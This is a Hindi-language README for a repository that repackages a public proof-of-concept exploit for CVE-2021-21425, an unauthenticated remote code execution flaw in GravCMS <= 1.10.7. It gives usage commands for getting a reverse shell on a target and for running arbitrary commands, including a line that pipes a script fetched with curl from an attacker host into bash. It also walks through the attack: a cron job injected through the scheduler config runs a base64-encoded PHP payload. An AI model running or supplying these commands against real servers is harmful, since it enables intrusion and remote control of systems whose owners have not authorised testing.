CVE-2021-21425 - GravCMS अनधिकृत RCE

CVE-2021-21425 के लिए बेहतर proof-of-concept, GravCMS <= 1.10.7 में scheduler में मनमाना YAML लेखन के माध्यम से एक अनधिकृत Remote Code Execution भेद्यता।

श्रेय

यह व्युत्पन्न कार्य है। भेद्यता और मूल exploit मेरे नहीं हैं।

भूमिका	कौन
भेद्यता की खोज	Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — मार्च 2021
मूल PoC	"legend" — Exploit-DB EDB-49973
इस repo में संशोधन	d4ytox

यह संस्करण क्या बदलता है

मूल EDB-49973 में स्क्रिप्ट में hardcoded मानों को मैन्युअल रूप से संपादित करना आवश्यक है। यह संस्करण जोड़ता है:

• target, LHOST, LPORT के लिए कमांड-लाइन तर्क
• reverse shell payload का स्वचालित base64 एन्कोडिंग
• कस्टम कमांड समर्थन (-c)
• त्रुटि प्रबंधन और स्थिति आउटपुट

ये एक मौजूदा exploit में उपयोगिता परिवर्तन हैं। कोई भेद्यता अनुसंधान का दावा नहीं किया गया है।

भेद्यता

फ़ील्ड	मान
CVE	CVE-2021-21425
EDB-ID	49973
प्रभावित	GravCMS <= 1.10.7
प्रकार	अनधिकृत RCE
CVSS	9.8 (गंभीर)

Grav Admin plugin कुछ admin routes पर प्रमाणीकरण सत्यापित करने में विफल रहता है, जिससे अनधिकृत उपयोगकर्ता मनमाना YAML कॉन्फ़िगरेशन लिख सकते हैं। यह exploit मनमाना PHP कोड निष्पादित करने वाला cron job बनाने के लिए scheduler कॉन्फ़िगरेशन का दुरुपयोग करता है।

उपयोग

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

उदाहरण

# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

आवश्यकताएँ

pip install requests

यह कैसे काम करता है

1. admin-nonce टोकन निकालने के लिए /admin प्राप्त करता है (भेद्यता के कारण प्रमाणीकरण की आवश्यकता नहीं)
2. दुर्भावनापूर्ण cron job कॉन्फ़िगरेशन के साथ /admin/config/scheduler पर POST भेजता है
3. Scheduler /usr/bin/php -r eval(base64_decode(...)) के माध्यम से PHP payload निष्पादित करता है
4. PHP base64-decoded reverse shell को /tmp/rev.sh में लिखता है और उसे निष्पादित करता है

cron job हर मिनट चलता है (* * * * *), इसलिए shell 60 सेकंड के भीतर आ जाता है।

समयरेखा

• 2021-03-18 - एक penetration test के दौरान Mehmet Ince द्वारा भेद्यता पाई गई
• 2021-03-29 - प्रकट किया गया
• 2021-04-01 - Grav Admin Plugin 1.10.8 में पैच किया गया

संदर्भ

• NVD Entry
• GitHub Security Advisory GHSA-6f53-6qgv-39pj
• Original writeup by Mehmet Ince (Pentest Blog)
• Original PoC - Exploit-DB EDB-49973

लाइसेंस

MIT, केवल इस repository में संशोधनों पर लागू। upstream PoC में कोई लाइसेंस नहीं है, इसलिए यह इसके लेखक द्वारा सर्वाधिकार सुरक्षित रहता है। पूर्ण श्रेय सूचना के लिए LICENSE देखें।

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण के लिए। किसी भी सिस्टम के विरुद्ध परीक्षण करने से पहले सुनिश्चित करें कि आपके पास लिखित अनुमति है।